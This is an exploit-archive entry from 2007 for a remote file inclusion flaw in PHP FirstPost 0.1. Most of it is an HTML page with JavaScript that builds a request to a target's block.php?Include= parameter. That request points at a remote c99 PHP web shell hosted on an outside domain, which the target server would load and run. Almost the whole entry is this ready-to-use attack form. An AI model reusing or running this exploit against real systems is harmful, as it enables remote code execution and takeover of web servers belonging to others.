PHP FirstPost 0.1 (block.php Include) Remote File Inclusion Exploit

🗓️ 13 May 2007 00:00:00Reported by RootType
PHP FirstPost 0.1 Remote File Inclusion Exploi

                                                &lt;html&gt;
&lt;head&gt;
&lt;title&gt;..::&nbsp;PhpFirstPost&nbsp;blog&nbsp;&nbsp;&nbsp;Remote&nbsp;File&nbsp;Include&nbsp;Exploit&nbsp;::..&lt;/title&gt;

&lt;script&nbsp;language=&quot;JavaScript&quot;&gt;

/*


&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\\\|///
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\\&nbsp;&nbsp;-&nbsp;-&nbsp;&nbsp;//
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(&nbsp;&nbsp;@&nbsp;@&nbsp;)
----oOOo--(_)-oOOo---------------------------------------------------

[&nbsp;Y!&nbsp;Underground&nbsp;Group&nbsp;]
[&nbsp;&nbsp;&nbsp;[email protected]&nbsp;&nbsp;&nbsp;]
[&nbsp;&nbsp;&nbsp;&nbsp;Dj7xpl.2600.ir&nbsp;&nbsp;&nbsp;&nbsp;]

----ooooO-----Ooooo--------------------------------------------------
&nbsp;&nbsp;&nbsp;&nbsp;(&nbsp;&nbsp;&nbsp;)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(&nbsp;&nbsp;&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\&nbsp;(&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;)&nbsp;/
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\_)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(_/

---------------------------------------------------------------------

[!]&nbsp;Portal&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;&nbsp;PhpFirstPost&nbsp;0.1
[!]&nbsp;Download&nbsp;:&nbsp;&nbsp;&nbsp;http://sourceforge.net/projects/phpfirstpost/
[!]&nbsp;Type&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;&nbsp;Remote&nbsp;File&nbsp;Include&nbsp;Exploit

---------------------------------------------------------------------

*/

&nbsp;var&nbsp;path=&quot;/&quot;
&nbsp;var&nbsp;adress=&quot;block.php?&quot;&nbsp;
&nbsp;var&nbsp;include&nbsp;=&quot;Include=&quot;&nbsp;
&nbsp;var&nbsp;phpshell=&quot;http://dj7xpl.by.ru/shell/c99.php?&quot;&nbsp;

&nbsp;function&nbsp;command(){
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(document.rfi.target1.value==&quot;&quot;){
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;alert(&quot;Exploit&nbsp;Failed...&quot;);
&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;false;
&nbsp;&nbsp;}



rfi.action=&nbsp;document.rfi.target1.value+path+adress+include+phpshell;
rfi.submit();&nbsp;
&nbsp;}
&lt;/script&gt;

&lt;/head&gt;

&lt;body&nbsp;bgcolor=&quot;#198ccd&quot;&gt;
&lt;center&gt;

&lt;p&gt;&lt;/p&gt;
&lt;form&nbsp;method=&quot;post&quot;&nbsp;target=&quot;getting&quot;&nbsp;name=&quot;rfi&quot;&nbsp;onSubmit=&quot;command();&quot;&gt;
&nbsp;&nbsp;&lt;b&gt;&lt;font&nbsp;face=&quot;batangche&quot;&nbsp;size=&quot;3&quot;&nbsp;color=&quot;white&quot;&gt;Target:&lt;/font&gt;&lt;font
face=&quot;Arial&quot;&nbsp;size=&quot;2&quot;
color=&quot;white&quot;&gt;http://Target.ir/blog&lt;/font&gt;&lt;br&gt;&lt;br&gt;
&lt;font&nbsp;color=&quot;#00FF00&quot;size=&quot;+1&quot;&nbsp;face=&quot;batangche&quot;&gt;
&lt;/font&gt;
&lt;font&nbsp;color=&quot;red&quot;&nbsp;size=&quot;2&quot;&gt;&lt;/font&gt;&lt;/b&gt;
&lt;input&nbsp;type=&quot;text&quot;&nbsp;name=&quot;target1&quot;&nbsp;size=&quot;20&quot;&nbsp;style=&quot;background-color:
white&quot;&nbsp;onmouseover=&quot;javascript:this.style.background='red';&quot;
onmouseout=&quot;javascript:this.style.background='red';&quot;&gt;&lt;/p&gt;
&lt;p&gt;
&lt;input&nbsp;type=&quot;submit&quot;&nbsp;value=&quot;Go&nbsp;--&gt;&quot;&nbsp;name=&quot;B1&quot;&gt;
&lt;input&nbsp;type=&quot;reset&quot;&nbsp;value=&quot;Clear&quot;&nbsp;name=&quot;B2&quot;&gt;&lt;/p&gt;
&lt;/form&gt;
&lt;p&gt;&lt;br&gt;
&lt;iframe&nbsp;name=&quot;getting&quot;&nbsp;height=&quot;337&quot;&nbsp;width=&quot;633&quot;&nbsp;scrolling=&quot;yes&quot;
frameborder=&quot;0&quot;&gt;&lt;/iframe&gt;
&lt;/p&gt;&lt;br&gt;&lt;br&gt;
&lt;p&gt;&lt;font&nbsp;color=&quot;red&quot;&nbsp;size=&quot;2&quot;&nbsp;face=&quot;batang&quot;&gt;Dj7xpl&nbsp;@&nbsp;Yahoo&nbsp;.&nbsp;com&nbsp;&lt;/font&gt;&lt;/p&gt;
&lt;/center&gt;
&lt;/body&gt;
&lt;/html&gt;
13 May 2007 00:00Current
7.1High risk
Vulners AI Score7.1